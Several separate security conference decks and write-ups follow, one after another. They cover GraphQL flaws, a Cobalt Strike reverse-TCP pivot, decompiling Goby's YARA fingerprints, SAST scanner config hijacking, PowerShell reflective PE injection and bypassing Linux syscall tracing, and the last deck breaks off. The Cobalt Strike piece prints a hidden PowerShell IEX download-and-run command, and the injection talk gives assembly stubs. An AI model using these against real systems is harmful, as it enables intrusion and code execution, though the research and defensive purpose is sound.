前端获取恶意参数 -> 拼接成恶意GraphQL语句 -> 发送 -> 后端执行 漏洞类型:CSRF 解决方案: ● “参数化查询” Risk 3. GraphQL注入漏洞 SQL参数化查询 GraphQL“参数化查询” Risk 3. GraphQL注入漏洞 mutation($name: String!, $age: Int!) { editProfile(name: $name, age: $age) { id name age password } } {"name": "guest", "age": 5} $sth = $db->prepare(" UPDATE `users` SET `name` = :name, `age` = :age WHERE `id` = :id "); $sth->execute([ ':name' => 'guest', ':age' => 5, ':id' => 2334 ]); 漏洞本质: ● 用户输入进入到代码中 ○ SQL:SQL注入漏洞 ○ JavaScript:XSS漏洞 ○ Shell:命令执行漏洞 ○ GraphQL:GraphQL注入漏洞 Risk 3. GraphQL注入漏洞 开发模式下的安全问题: ● symfony debug 模式泄露任意变量 ○ 案例:《新型php漏洞挖掘之debug导致的安全漏洞(Edusoho)》 ● Django DEBUG=True 信息泄露 ● Flask debug 模式任意代码执行漏洞 ● Graphene-Django DEBUG模式下的安全问题 ○ 文档:《Django Debug Middleware》 Risk 4. DEBUG模式下的信息泄露 使用__debug type来获取每次查询的详细信息: Graphene-Django DEBUG模式下的安全问题 { card(id: 1) { id title } __debug { sql { sql rawSql params } } } { "data": { "card": null, "__debug": { "sql": [ { "sql": "SELECT ...", "rawSql": "SELECT ...", "params": "[5, 6, ...]" } ... 漏洞类型 ● 权限绕过 ● 修改Content-Type导致CSRF ● GraphiQL Clickjacking ● GraphQL注入 ● DEBUG模式信息泄露 GraphQL是一门通信语言,其无关任意业务层面的逻辑 所以,GraphQL背后仍然可能存在传统安全中的漏洞 ● SQL、代码或命令注入漏洞 ● DDOS 总结. GraphQL的安全问题 Any Question? [email protected]
pdf
Cobalt Strike trick 3 - Pivot:Reverse TCP 当在内⽹需要建⽴起控制链时,如多层路由,下层路由机器⽆法出⽹时,常常会使⽤Beacon Session作为跳板来做转发。 常⻅的控制⽅式有两种:Bind TCP和Bind SMB,这两种都需要⽬标机器对应端⼝开放,但 如果⽬标开启了强度较⾼的防⽕墙,或者硬件防⽕墙有策略时,可能会⽆法访问到⽬标的对 应端⼝,此时可以尝试⼀下Reverse TCP。 在已有Session选择Pivoting->Listener 即可在跳板机上建⽴⼀个监听器,本质上其实是⾃动做的端⼝转发。同样只能使⽤Stageless 类型的Artifact,可以创建⼀个Web Deliver⽅便投放⽊⻢。 随后,⼿动设置⼀下端⼝转发,让跳板机端⼝的流量转发到Teamserver上。 将Web deliver语句修改成跳板机对应的地址: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.38.8:8023/a'))" 执⾏后成功上线。 反向连接的拓扑。
pdf
goby识别指纹的功能很不错,想试试能不能把goby指纹识别里面的指纹提取出来,移植到自己的扫描器 中,结果后面到了逆向虚拟机的程度。。。 goby的crules 在goby 最初的版本中,翻看了一些感兴趣的资源文件后看到有个 crules 文件。 它的文件头是yara文件 并且里面包含了它的指纹 通过文本提取,可以把规则提取出来,但是每个规则之间的逻辑关系,并不清楚。 新版的crules提取 现在goby使用了最新的go版本 1.16 在go1.16,嵌入资源有个官方实现,叫 go embed ,可以根据在二进制中搜索 embed.FS 来确认是否使 用了这个特性。 然后我自己测试了一下,看看 go embed 内嵌资源是如何实现的,结果发现资源直接在二进制中明文显 示。 于是搜索 YARA 关键字,就能再次定位到goby的指纹规则部分。 yara结构分析 硬看看不懂规则之间逻辑的关系,所以只能看yara代码是怎么做的。 看到goby使用了这个库 https://github.com/hillu/go-yara ,应该就是用来解析规则的,看这个库 的实现,它只是c版本yara源码的封装,所以还是要去看yara的代码。 官方仓库是 https://github.com/VirusTotal/yara 我下载了2.0 3.0 和4.x最新版的源码,发现里面的文件版本和这个都对不上。一度怀疑是魔改的yara? 最后我在 yara-3.10.0 找到了符合goby规则的代码 yara编译后文件的规则真是多变,并且每个版本的规则还不兼容。。 yara加载编译后的文件 在 yr_arena_load_stream ,可以看到magic为yara的标记以及版本的判断相关代码。 crules文件开头对应的数据结构如下 之后读取指定长度的字节后,剩余的字节都是用于重定向地址用 typedef struct _ARENA_FILE_HEADER {  char      magic[4];  uint32_t  size;  uint32_t  version; } ARENA_FILE_HEADER; 之后在 yr_rules_load_stream ,先通过一个结构映射头 然后再解析出每个节的地址。 typedef struct _YARA_RULES_FILE_HEADER {  DECLARE_REFERENCE(YR_RULE*, rules_list_head);  DECLARE_REFERENCE(YR_EXTERNAL_VARIABLE*, externals_list_head);  DECLARE_REFERENCE(const uint8_t*, code_start);  DECLARE_REFERENCE(YR_AC_MATCH_TABLE, match_table);  DECLARE_REFERENCE(YR_AC_TRANSITION_TABLE, transition_table); } YARA_RULES_FILE_HEADER; 得到每个表的位置。yara编译后的文件加载过程到此完成。 yara结构总结 通过不断的调试,大概知道yara是怎么处理编译后的yara文件的了。 yara的编译机制就是把内存中的yara数据结构保存为一个文件,然后对一些重定向内容做一些处理。 加载过程也是同理,之后程序运行位置交到 new_rules->code_start 这个地址上,它将会运行yara的 虚拟机程序,虚拟机对所有规则做出判断。 yara逆向 整个虚拟机执行在 exec.c 文件的 yr_execute_code 函数上,在上面打上断点。  new_rules->code_start = header->code_start;  new_rules->externals_list_head = header->externals_list_head;  new_rules->rules_list_head = header->rules_list_head;  new_rules->match_table = header->match_table;  new_rules->transition_table = header->transition_table; 此时的调用堆栈 单步运行下来,发现这是一个栈式虚拟机,从地址获取opcode,根据opcode执行。 OP_HALT 是中断标志,这个opcode出现代表执行完毕。 exec.h 定义了各种opcode和int的关系 经过调试,发现每次规则开始的时候,都会调用 OP_INIT_RULE , 然后这个执行地址后面的地址就是RULE的数据结构,记录了meta等信息。 typedef struct _YR_INIT_RULE_ARGS {  DECLARE_REFERENCE(YR_RULE*, rule);  DECLARE_REFERENCE(const uint8_t*, jmp_addr); } YR_INIT_RULE_ARGS; typedef struct _YR_RULE {  int32_t g_flags;               // Global flags  int32_t t_flags[MAX_THREADS];  // Thread-specific flags  DECLARE_REFERENCE(const char*, identifier);  DECLARE_REFERENCE(const char*, tags);  DECLARE_REFERENCE(YR_META*, metas);  DECLARE_REFERENCE(YR_STRING*, strings);  DECLARE_REFERENCE(YR_NAMESPACE*, ns);  // Used only when PROFILING_ENABLED is defined 通过对虚拟机整个执行过程的理解,可以编写一个yara反编译器了。 搜索了下github,有一个开源的 https://github.com/jbgalet/yaradec,但是不支持这个版本。 根据yara源码和这个开源的反编译器,就能编写这个版本的yara反编译器了。 反编译 我的反编译器运行后输出如下 有的opcode会和一些字符串作关联,所以我把它读取出来放到注释部分,opcode就是yara定义的 opcode,最前面的数字代表当前执行的位置,因为有的语句会跳转到其他位置,方便看。 一个简单的例子  clock_t clock_ticks; } YR_RULE; typedef struct _YR_META {  int32_t type;  YR_ALIGN(8) int64_t integer;  DECLARE_REFERENCE(const char*, identifier);  DECLARE_REFERENCE(char*, string); } YR_META; OP_INIT_RULE 是初始化这个规则的meta信息 OP_OBJ_LOAD 是载入fofa模块 OP_OBJ_FIELD 是模块的字段,即 body_contains OP_PUSH 将 /oaapp/webobjects/oaapp.woa 压入堆栈 之后 OP_CALL 调用函数, OP_OBJ_VALUE 获取结果, OP_MATCH_RULE 匹配完成。 可以想象这一段指令对应的原先规则为 规则逻辑的反编译 上述是一个简单匹配过程,如果一些规则含有逻辑运算,是怎样的呢? 例如下面的例子 205 : OP_INIT_RULE ;{"flags": 0, "identifier": "rule_2", "metadata": {"rule_id": "2", "level": "5", "softhard": "2", "product": "CNPOWER-OA(OA8000)", "company": "CNPOWER", "category": "OA", "parent_category": "Enterprise Application"}, "ns": "default:"} 222 : OP_OBJ_LOAD 5050743 ;fofa 231 : OP_OBJ_FIELD 5050748 ;body_contains 240 : OP_PUSH 5050762 ;/oaapp/webobjects/oaapp.woa 249 : OP_CALL 5050801 ;s 258 : OP_OBJ_VALUE ; 259 : OP_MATCH_RULE 260 ; fofa.body_contains("/oaapp/webobjects/oaapp.woa") 445 : OP_INIT_RULE ;{"flags": 0, "identifier": "rule_5", "metadata": {"rule_id": "5", "level": "3", "softhard": "2", "product": "MongoDb", "company": "MongoDB, Inc", "category": "Database System", "parent_category": "Software System"}, "ns": "default:"} 462 : OP_OBJ_LOAD 5051424 ;fofa 471 : OP_OBJ_FIELD 5051429 ;body_contains 480 : OP_PUSH 5051443 ;<a href="/_replset">replica set status</a></p> 489 : OP_CALL 5051501 ;s 498 : OP_OBJ_VALUE ; 499 : OP_JTRUE 642 ;if sucess 508 : OP_OBJ_LOAD 5051503 ;fofa 517 : OP_OBJ_FIELD 5051508 ;protocol_contains 526 : OP_PUSH 5051526 ;mongodb 535 : OP_CALL 5051545 ;s 544 : OP_OBJ_VALUE ; 545 : OP_JTRUE 640 ;if sucess 554 : OP_OBJ_LOAD 5051547 ;fofa 563 : OP_OBJ_FIELD 5051552 ;body_contains 572 : OP_PUSH 5051566 ;you are trying to access mongodb 581 : OP_CALL 5051610 ;s 590 : OP_OBJ_VALUE ; 591 : OP_JTRUE 638 ;if sucess 600 : OP_OBJ_LOAD 5051612 ;fofa 609 : OP_OBJ_FIELD 5051617 ;title_contains 618 : OP_PUSH 5051632 ;mongod.exe 627 : OP_CALL 5051654 ;s 从这段指令可以精简为 可以看出这是一个后缀表达式(逆波兰表达式)处理的逻辑关系。 要提取逻辑表达式的话,就是把这段后缀表达式转换为可读的中缀表达式。 我写了一个python脚本来完成这个操作 1,2,3,4代表这四个规则,最后输出结果即 636 : OP_OBJ_VALUE ; 637 : OP_OR ; 638 : OP_NOP ; 639 : OP_OR ; 640 : OP_NOP ; 641 : OP_OR ; 642 : OP_NOP ; 643 : OP_MATCH_RULE 644 ; 验证规则1 验证规则2 验证规则3 验证规则4 or or or def zhuanh(l: list):    l.reverse()    s = []    fuhao = ['OP_AND', 'OP_OR', 'OP_NOT']    while len(l) > 0:        x = l.pop()        if x not in fuhao:            s.append(x)        else:            r1 = s.pop()            if x == 'OP_NOT':                s.append("!{}".format(r1))            else:                r2 = s.pop()                x = x.replace("OP_AND", "and")                x = x.replace("OP_OR", "or")                s.append(f"({r1} {x} {r2})")    if len(s) != 1:        raise Exception("错误")    return s[0] if __name__ == '__main__':    a = [1, 2, 3, 4, 'OP_OR', 'OP_OR', 'OP_OR']    s = zhuanh(a)    print(s) 接下来找一个规则复杂一些的尝试一下 1229 : OP_INIT_RULE ;{"flags": 0, "identifier": "rule_9", "metadata": {"rule_id": "9", "level": "5", "softhard": "2", "product": "TongDa-OA", "company": "TongTa", "category": "OA", "parent_category": "Enterprise Application"}, "ns": "default:"} 1246 : OP_OBJ_LOAD 5052822 ;fofa 1255 : OP_OBJ_FIELD 5052827 ;body_contains 1264 : OP_PUSH 5052841 ;/static/templates/2013_01/index.css/ 1273 : OP_CALL 5052889 ;s 1282 : OP_OBJ_VALUE ; 1283 : OP_JTRUE 1810 ;if sucess 1292 : OP_OBJ_LOAD 5052891 ;fofa 1301 : OP_OBJ_FIELD 5052896 ;body_contains 1310 : OP_PUSH 5052910 ;javascript:document.form1.uname.focus() 1319 : OP_CALL 5052961 ;s 1328 : OP_OBJ_VALUE ; 1329 : OP_JTRUE 1808 ;if sucess 1338 : OP_OBJ_LOAD 5052963 ;fofa 1347 : OP_OBJ_FIELD 5052968 ;body_contains 1356 : OP_PUSH 5052982 ;href="/static/images/tongda.ico" 1365 : OP_CALL 5053026 ;s 1374 : OP_OBJ_VALUE ; 1375 : OP_JTRUE 1806 ;if sucess 1384 : OP_OBJ_LOAD 5053028 ;fofa 1393 : OP_OBJ_FIELD 5053033 ;body_contains 1402 : OP_PUSH 5053047 ;<link rel="shortcut icon" href="/images/tongda.ico" /> 1411 : OP_CALL 5053113 ;s 1420 : OP_OBJ_VALUE ; 1421 : OP_JTRUE 1804 ;if sucess 1430 : OP_OBJ_LOAD 5053115 ;fofa 1439 : OP_OBJ_FIELD 5053120 ;body_contains 1448 : OP_PUSH 5053134 ;oa提示:不能登录oa 1457 : OP_CALL 5053171 ;s 1466 : OP_OBJ_VALUE ; 1467 : OP_JFALSE 1514 ;if sucess 1476 : OP_OBJ_LOAD 5053173 ;fofa 1485 : OP_OBJ_FIELD 5053178 ;body_contains 1494 : OP_PUSH 5053192 ;紧急通知:今日10点停电 1503 : OP_CALL 5053236 ;s 1512 : OP_OBJ_VALUE ; 1513 : OP_AND ; 1514 : OP_NOP ; 1515 : OP_JTRUE 1802 ;if sucess 1524 : OP_OBJ_LOAD 5053238 ;fofa 1533 : OP_OBJ_FIELD 5053243 ;title_contains 1542 : OP_PUSH 5053258 ;office anywhere 2013 1551 : OP_CALL 5053290 ;s 优化为的后缀表达式 1560 : OP_OBJ_VALUE ; 1561 : OP_JTRUE 1800 ;if sucess 1570 : OP_OBJ_LOAD 5053292 ;fofa 1579 : OP_OBJ_FIELD 5053297 ;title_contains 1588 : OP_PUSH 5053312 ;office anywhere 2015 1597 : OP_CALL 5053344 ;s 1606 : OP_OBJ_VALUE ; 1607 : OP_JTRUE 1798 ;if sucess 1616 : OP_OBJ_LOAD 5053346 ;fofa 1625 : OP_OBJ_FIELD 5053351 ;body_contains 1634 : OP_PUSH 5053365 ;tongda.ico 1643 : OP_CALL 5053387 ;s 1652 : OP_OBJ_VALUE ; 1653 : OP_JFALSE 1748 ;if sucess 1662 : OP_OBJ_LOAD 5053389 ;fofa 1671 : OP_OBJ_FIELD 5053394 ;title_contains 1680 : OP_PUSH 5053409 ;oa 1689 : OP_CALL 5053423 ;s 1698 : OP_OBJ_VALUE ; 1699 : OP_JTRUE 1746 ;if sucess 1708 : OP_OBJ_LOAD 5053425 ;fofa 1717 : OP_OBJ_FIELD 5053430 ;title_contains 1726 : OP_PUSH 5053445 ;办公 1735 : OP_CALL 5053463 ;s 1744 : OP_OBJ_VALUE ; 1745 : OP_OR ; 1746 : OP_NOP ; 1747 : OP_AND ; 1748 : OP_NOP ; 1749 : OP_JTRUE 1796 ;if sucess 1758 : OP_OBJ_LOAD 5053465 ;fofa 1767 : OP_OBJ_FIELD 5053470 ;body_contains 1776 : OP_PUSH 5053484 ;class="style1">新oa办公系统 1785 : OP_CALL 5053528 ;s 1794 : OP_OBJ_VALUE ; 1795 : OP_OR ; 1796 : OP_NOP ; 1797 : OP_OR ; 1798 : OP_NOP ; 1799 : OP_OR ; 1800 : OP_NOP ; 1801 : OP_OR ; 1802 : OP_NOP ; 1803 : OP_OR ; 1804 : OP_NOP ; 1805 : OP_OR ; 1806 : OP_NOP ; 1807 : OP_OR ; 1808 : OP_NOP ; 1809 : OP_OR ; 1810 : OP_NOP ; 1811 : OP_MATCH_RULE 1812 ; 1 2 后缀表达式转中缀表达式结果 就这样,能将所有规则之间的逻辑关系处理了。 中缀表达式处理程序有一个小问题,就是表达式的括号会很多,这个自行优化下吧 = - 最后 我将规则处理为了json格式,方便阅读和扫描器引用,类似如下 goby因为只需要访问一次首页,剩下的由yara规则进行识别,所以速度会很快。用yara识别web指纹学 习到了。 3 4 5 6 and 7 8 9 10 11 or and 12 or or or or or or or or ((((((((12 or ((11 or 10) and 9)) or 8) or 7) or (6 and 5)) or 4) or 3) or 2) or 1) 如果要自己写扫描器引入fofa指纹的话,还需要写个表达式解析器来解析各种规则,这个我以前也写过 了 https://x.hacking8.com/post-383.html 那么能不能直接用yara调用goby的指纹呢? 理论上是可以的,只是需要自己写一个名称为 fofa 的模块,实现所有判断的方法,在编译到yara中。 知识星球
pdf
Abusing Sast Tools @DEFCON When scanners do more than just scanning Who am I? Rotem Bar Head of Marketplace @ Cider Security - Bug Bounty Researcher - Cyber Paladin @rotembar Security Engineers A person that tells others where they have problems, and helps them fix them. DevOps Engineers who are in charge of large scale deployments. SAST Builders Developers who have decided to automate their efforts for finding security bugs. Bad Guys People who have decided to harm other people for a living. Target Audience SAST 101 01 How Scanners Work 02 Hacking Time 04 What is the Impact 05 Previous Research 03 Conclusions 06 Table of Contents SAST 101 01. Static Application Security Testing Static program analysis is the analysis of computer software that is performed without actually executing programs —Wikipedia https://en.wikipedia.org/wiki/Static_program_analysis Why do we Run SAST? 1. Stop bad security practices 2. Prevent infrastructure mistakes 3. Assess code security 4. Create Standardization and consistency SAST Pros VS Cons FAST Can run on source code without any need to compile False Positives Cannot validate findings SAFE Does not execute code Hard to track flow control Some languages are almost impossible to track statically EASY Can be run on code, without the need for more resources How Scanners Work 02. High Level Overview Code Parses files in folder and searches for matching extensions AST Converts code into AST structures Processing Runs predefined rules on AST with flow control analysis Results Creates results based on user configuration 01 02 03 04 Log(1 + 2* 3) Sample AST BASIC Rule if typeof expression = CallExpression and expression.callee.name = log and expression.arguments.length > 0 Then “Found a log function with more than one argument” Can Get Complex if typeof expression = CallExpression and expression.callee.name = log and expression.arguments.length > 0 Then SOURCE = express.arguments[0] if typeof expression = CallExpression and expression.callee.name = eval and Expression.arguments.length > 0 SINK = express.arguments[0] If path between SINK and SOURCE then Report findings Static program analysis is the analysis of computer software that is performed without actually executing programs —Wikipedia https://en.wikipedia.org/wiki/Static_program_analysis What If? I could write code that will intentionally abuse a SAST scanner’s behavior when being statically scanned Previous Research 03. CHECKOV RCE https://security.paloaltonetworks.com/CVE-2021-3035 KIBIT Terraform? SNYK TERRASCAN Terraform Plan https://github.com/rung/terraform-provider-cmdexec terraform-provider-cmdexec provides command execution from Terraform Configuration. Terraform has local-exec provisioner by default. but provisioner is executed when terraform apply. On the other hand, terraform-provider-cmdexec execute a command when terraform plan. This provider was originally created for penetration testing of CI/CD pipeline. By Hiroki Suezawa See also for detailed execution => https://alex.kaskaso.li/post/terraform-plan-rce Hacking Time 04. Disclaimer Open source is awesome I believe in building and using open source software. Open source software has made, and continues to make, our lives much easier and our world much more secure. We need to use it responsibly When we expose OSS to our sensitive code and environments, we are obligated to do it responsibly; We should not expect OSS to provide the same level of security as their commercial alternatives. We should assume the OSS could potentially contain security flaws and make sure it is properly configured and running in a safe environment. Setting up the Experiment Working Directory Observe Outcome Execute Scanner Clone Repo Add “evil” files Experiment #1 Checkov is a static code analysis tool for infrastructure-as-code. CI Configuration Hijacking Repo Clone Scan Does .checkov.yml exist? Load configuration check: - NONE Demo Scanner Config PHPSTAN phpstan.neon TFSEC .tfsec/config.json KICS kics.config BANDIT .bandit BRAKEMAN config/brakeman.yml CHECKOV .checkov.yaml SEMGREP .semgrep.yml Scanners Config Hijack Table 4.9k 2.9k 6.2k 3.3K 0.6K 2.9k 10k Scanner Hijacking Altering source code in a manner that is intended to manipulate and abuse the scanner behavior Experiment #2 CI Configuration Execution Repo Clone Scan Does .checkov.yml exist? Load configuration external-checks: - checks Does checks/__init__.py exist? Load all files in checks and execute them Demo Experiment #3 KIBIT kibit is a static code analyzer for Clojure, ClojureScript, cljx and other Clojure variants. It uses core.logic to search for patterns of code that could be rewritten with a more idiomatic function or macro. Will it Execute? Experiment #4 Experiment #5 PMD_JAVA_OPTS="-jar EvilJar.jar" Scanner Config ENV Code Checkov PHPSTAN RUBOCOP KIBIT PMD CDXGEN DEP-SCAN Scanners Config Execution Table And growing... 16 1.7k 11.4k 3.5k 10k 2.9k 74 Static program analysis is the analysis of computer software that is performed without actually executing programs —Wikipedia https://en.wikipedia.org/wiki/Static_program_analysis Your Code will probably be able to execute other programs What is the Impact? 05. SAST Tool Environments Developer Machines Security Researchers CI/CD Developer Machines Security Researchers CI/CD SAST Tool Environments CI/CD Whole Flow Commit & Push to Dev Branch CI Checks Pull Request Created Merge into Production Commit & Push to Master Branch CI Checks CD Deployments CI Checks CI/CD Implications Bypass Protections Configure ourselves the “Policy” for security Extract Sensitive Data We can extract data which resides in our CI/CD Environment Deploy Assets to Production Infiltrate the Network By executing code we can insert ourselves into restricted environments Command Execution Conclusions 06. Assume Code will Execute When repo will be scanned by scanner, script will execute Sample Attack Flow Commit & Push to Dev Branch CI Checks Pull Request Created Merge into Production Commit & Push to Master Branch CI Checks CD Deployments 1. Add code execution script to scanner config file 2. Push new commit into branch 3. Create a PR Request Script will override CI Checks, Tell scanner all is good and will attempt to steal credentials CI Checks High Level Possible Resolutions Network: ● Isolate all activities to needed resources only ● Ensure egress filters are blocking traffic Host: ● Ensure scan runs in unprivileged containers/systems ● Verify pods are deleted after scanning finishes Monitor: ● Log abnormal behavior: ○ Tool output ○ Running time ○ File system ○ Network access Education: ● Understand the risks when running unverified code in your CI/CD environments or development laptops Execution: ● Verify tool is executed with wanted configuration ● Create a clean environment where the tool would be executed ● Ensure to cap processing power and activity time Configuration: ● Ensure tool is not picking up or executing code Conclusions The security needs of this world are getting bigger every day. This generated growing amounts of security automation We need to be proactive and start thinking about how the next generation of attackers can abuse the automations we are building to attack our infrastructure. What’s next? What’s Next? The research has just begun! ● Understand and deep dive into additional SAST scanners ● Assess additional automation tools out there - Linters, Code Coverage, Testing Frameworks, .... ● Analyze Wrappers for tools - GitHub Actions, Orbs, ... ● Create standard for securely working with code analysis tools of any kind Thanks @rotembar Community => https://rebrand.ly/security-tools-defcon POC => https://github.com/cider-rnd/cicd-lamb I want to thank all of the open source developers out there for creating these awesome security tools.
pdf
PowerPwning: Post-Exploiting By Overpowering PowerShell Joe Bialek About Me • Joe Bialek • Security Engineer • Twitter: @JosephBialek • Blog: http://clymb3r.wordpress.com • GitHub: https://github.com/clymb3r PowerShell is Awesome • Provides access to the Win32 API • Doesn’t write to disk when scripts are run on remote computers • Script runs inside PowerShell.exe or WsmProvHost.exe (when run remotely) – Don’t have to execute suspicious or unsigned processes What I Want To Do With PowerShell • Run existing tools in PowerShell without rewriting them in PowerShell – Use existing tools but leverage PowerShell’s forensic benefits • Solution: Write a PowerShell script to reflectively load and execute PE’s (EXE/DLL) in the PowerShell process How To Load A PE 1. Allocate memory for PE 2. Copy PE headers to memory 3. Copy sections to memory (.text, .data, etc.) 4. Perform “base relocations” on the sections loaded 5. Load DLL’s the PE requires 6. Adjust memory permissions 7. Call the entry function – For DLL: Calls DllMain which lets the DLL know it is loaded – For EXE: Function which sets up the process, gets command line arguments and calls int main() DLL Specific Stuff • After loading DLL, call exported DLL functions • Remote PowerShell can’t capture “stdout”, you won’t see anything your program outputs – printf – cout • To capture output: Make the DLL function return a “char*” or “wchar_t*” • PowerShell can Marshal this pointer to a managed string and print the output Problems Reflectively Loading An EXE: Prevent PowerShell From Exiting • When EXE exits, it calls ExitProcess – PowerShell is the running process so it is killed by ExitProcess – I want the EXE to exit, not PowerShell • Solution: – Call the EXE entry function in its own thread – Overwrite ExitProcess function with a call to ExitThread Assembly To Overwrite ExitProcess ; Set a var to 1, let PS know exe is exiting mov rbx, 0x4141414141414141 mov [rbx], byte 0x01 ; Call exitthread instead of exitprocess sub rsp, 0xc0 and sp, 0xFFF0 ; Needed for stack alignment mov rbx, 0x4141414141414141 call rbx Problems Reflectively Loading An EXE: Pass Command Line Arguments • EXE entry function retrieves command line arguments and passes them to “int main(argc, argv)” – Functions which are used to get command line: • GetCommandLine() • __getcmdln() – Function called appears to depend on how the EXE was compiled (/MD vs /MDd in Visual Studio) – Built solutions to deal with both cases Patch GetCommandLine() For EXE compiled with Visual Studio as “Multi- Threaded”: • Overwrite GetCommandLineA() and GetCommandLineW() with shell code to return a string I allocate Assembly to overwrite GetCommandLine ; X64 code mov rax, 0x4141414141414141 ret ; X86 code mov eax, 0x41414141 ret Patch __getcmdln() For EXE compiled with Visual Studio “Multi- Threaded DLL”: • The runtime DLL msvcrXXX.dll or msvcrXXXd.dll exports the variables __acmdln and __wcmdln, which are char* and wchar_t* • Replace these with our own strings we allocate using PowerShell • When the DLL function __getcmdln is called, it will parse the strings we set into argc and argv and return them Remote Reflective DLL Injection • Stephen Fewer method: – Write DLL bytes AND his reflective DLL loader to remote process memory – CreateRemoteThread for his reflective DLL loader, which then reflectively loads the actual DLL • I can’t write PowerShell code in to a remote process, so this method doesn’t work for me Remote Reflective DLL Injection • My method: – Allocate memory in remote process – Load needed libraries in remote process • Have to write assembly for remote LoadLibrary and remote GetProcAddress functionality – Stage DLL in the PowerShell process • Perform relocations and whatnot on the DLL bytes while it is in the PowerShell process • Base relocation calculations are done based on the address of memory allocated in the remote process – Write the bytes to the remote process – Create a thread to begin DLL execution Remote LoadLibrary (x64) ; Save rsp and setup stack for function call push rbx mov rbx, rsp sub rsp, 0x20 and sp, 0xffc0 ; Call LoadLibraryA mov rcx, 0x4141414141414141 ; Ptr to string of library, set by PS mov rdx, 0x4141414141414141 ; Address of LoadLibrary, set by PS call rdx mov rdx, 0x4141414141414141 ; Ptr to save result, set by PS mov [rdx], rax ; Fix stack mov rsp, rbx pop rbx ret Remote GetProcAddress (x64) ; Save state of rbx and stack push rbx mov rbx, rsp ; Set up stack for function call to GetProcAddress sub rsp, 0x20 and sp, 0xffc0 ; Call getprocaddress mov rcx, 0x4141414141414141 ; DllHandle, set by PS mov rdx, 0x4141414141414141 ; Ptr to FuncName string, set by PS mov rax, 0x4141414141414141 ; GetProcAddress address, set by PS call rax ; Store the result mov rcx, 0x4141414141414141 ; Ptr to buffer to save result, set by PS mov [rcx], rax ; Restore stack mov rsp, rbx pop rbx ret Demos Detection & Prevention • PowerShell remoting requires administrator access • PowerShell pipeline logging MAY help detection • Constrained run spaces help limit the power of PowerShell • Standard stuff like firewalls, limiting powerful accounts, etc.. will help prevent the remote aspect • Machine wide profile to log actions to a transcript Closing Thoughts • This is NOT a vulnerability! – PowerShell is a Turing complete programming language, it can do all this by design – Basically any programming language can be used to create similar functionality • PowerShell is a great way to manage Windows systems and has good security • Don’t let this talk scare you away from PowerShell Links • Invoke-ReflectivePEInjection: https://github.com/clymb3r/powershell – Also part of PowerSploit • Blog: http://clymb3r.wordpress.com References MSDN documentation on PE’s and DLL loading: • http://msdn.microsoft.com/en-us/magazine/bb985992.aspx • http://msdn.microsoft.com/en-us/magazine/cc301808.aspx • http://msdn.microsoft.com/library/windows/hardware/gg463125 Other reflective loaders: • https://github.com/stephenfewer/ReflectiveDLLInjection • http://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/ Good PowerShell related blogs: • http://www.exploit-monday.com/ • http://www.leeholmes.com/blog/
pdf
Trace Me If You can: Bypassing Linux SyscallTracing Dr. Rex Guo, Lacework Dr. Junyuan Zeng, Linkedin.com #BHUSA @BlackHatEvents About Rex Guo • Principal Engineer @ Lacework • Behavior anomaly detection (Polygraph) • CSPM • Engineering Manager @ Startups • Confluera (XDR) • Tetration (CWPP, now part of Cisco) • Conference speaker at Blackhat, DEFCON,… • @Xiaofei_REX About Junyuan Zeng • Linkedin • Senior Software Engineer: Kubernetes • JD.com • Staff Security Architect/Engineer: Cloud native security • Samsung Research America & FireEye • Staff Security Software Engineer/Researcher: Mobile security An Incident - An Attacker’s View Log4shell RCE on joe-box and executed a reverse shell An Incident - An Attacker’s View Log4shell RCE on joe-box and executed a reverse shell Privilege escalation using sudo CVE-2021-3156 An Incident - An Attacker’s View Log4shell RCE on joe-box and executed a reverse shell read /etc/shadow Privilege escalation using sudo CVE-2021-3156 An Incident - An Attacker’s View Log4shell RCE on joe-box and executed a reverse shell read /etc/shadow Read ssh process environment variable Privilege escalation using sudo CVE-2021-3156 An Incident - An Attacker’s View Log4shell RCE on joe-box and executed a reverse shell read /etc/shadow Read ssh process environment variable Lateral movement to alice-box with ssh hijacking Privilege escalation using sudo CVE-2021-3156 An Incident - An Attacker’s View Log4shell RCE on joe-box and executed a reverse shell read /etc/shadow Read ssh process environment variable Lateral movement to alice-box with ssh hijacking Privilege escalation using sudo CVE-2021-3156 An Incident - An Attacker’s View Log4shell RCE on joe-box and executed a reverse shell Privilege escalation using sudo CVE-2021-3156 read /etc/shadow Read ssh process environment variable Lateral movement to alice-box with ssh hijacking connect etc. execve(at) open(at) open(at) connect, etc. Incident Response Detection Rule Example rule: untrusted program reads /etc/shadow condition: syscall == open(at) and has read permission and filename == /etc/shadow and program is not in allowlist Agenda •Syscall Tracing •Vulnerabilities •Exploitations •Mitigations •Takeaways System Call Tracing System Call Tracing – Tracing Program • Tracing programs collect system call data, e.g., arguments • Tracing programs can “attach” to different hooks ● tracepoints, kprobe, ptrace etc. • Tracing programs implementations • Linux native mechanisms: ftrace, perf_events etc. • Kernel modules, eBPF probe and user space programs System Call Tracing – tracepoint • tracepoint • Kernel static hook • Linux kernel provides sys_enter and sys_exit • Low overhead but only static interceptions System Call Tracing – kprobe • kprobe • Dynamic hook in the kernel • Register tracing programs on instructions in syscall code path • Dynamic but slow compared to tracepoint and need to know exactly how data is placed on the stack and registers System Call Tracing – ptrace • ptrace • A static hook • No Kernel Module/eBPF program are needed • Performance overhead is high • Can combine with seccomp to reduce overhead • Others (LD_PRELOAD etc.) Cloud Workloads • Virtual machines • AWS EC2 instances • Google VM instances • Containers on customer-managed VMs • AWS EC2 tasks • Standard GKE workloads (e.g. DaemonSet etc.) • AKS workloads • Serverless containers: have no access to the host • AWS Fargate tasks • GCP Cloud Run services • Others (AWS Lambda etc.) System Call Tracing for Cloud Workloads Workload System Call Tracing VMs • Hooks: tracepoint, kprobe, ptrace • Tracing programs: kernel programs (eBPF, kernel Module), user programs • Tools: Falco eBPF/kernel Module, Falco pdig Containers • Hooks: tracepoint, kprobe, ptrace • Tracing programs: kernel programs (eBPF, kernel Module), user programs • Tools: Falco eBPF/kernel Module, Falco pdig Serverless Containers • Hooks: ptrace • Tracing programs: user programs • Tools: Falco pdig Open Source Projects • Falco ● Open source endpoint security monitoring project in CNCF ● 5K+ github stars ● Falco supports syscall tracing techniques: ● tracepoint + kernel module ● tracepoint + eBPF probe ● pdig: ptrace + userspace program • Falco pdig ● Support syscall tracing of serverless workloads TOCTOU in Syscall Tracing • sys_connect(int fd, struct sockaddr __user * uservaddr, int addrlen) • TOC (Time-Of-Check): tracing programs dereference this user space pointer • TOU (Time-Of-Use): the kernel dereferences this user space pointer TOCTOU - Connect ptrace_report_syscall(regs, message) 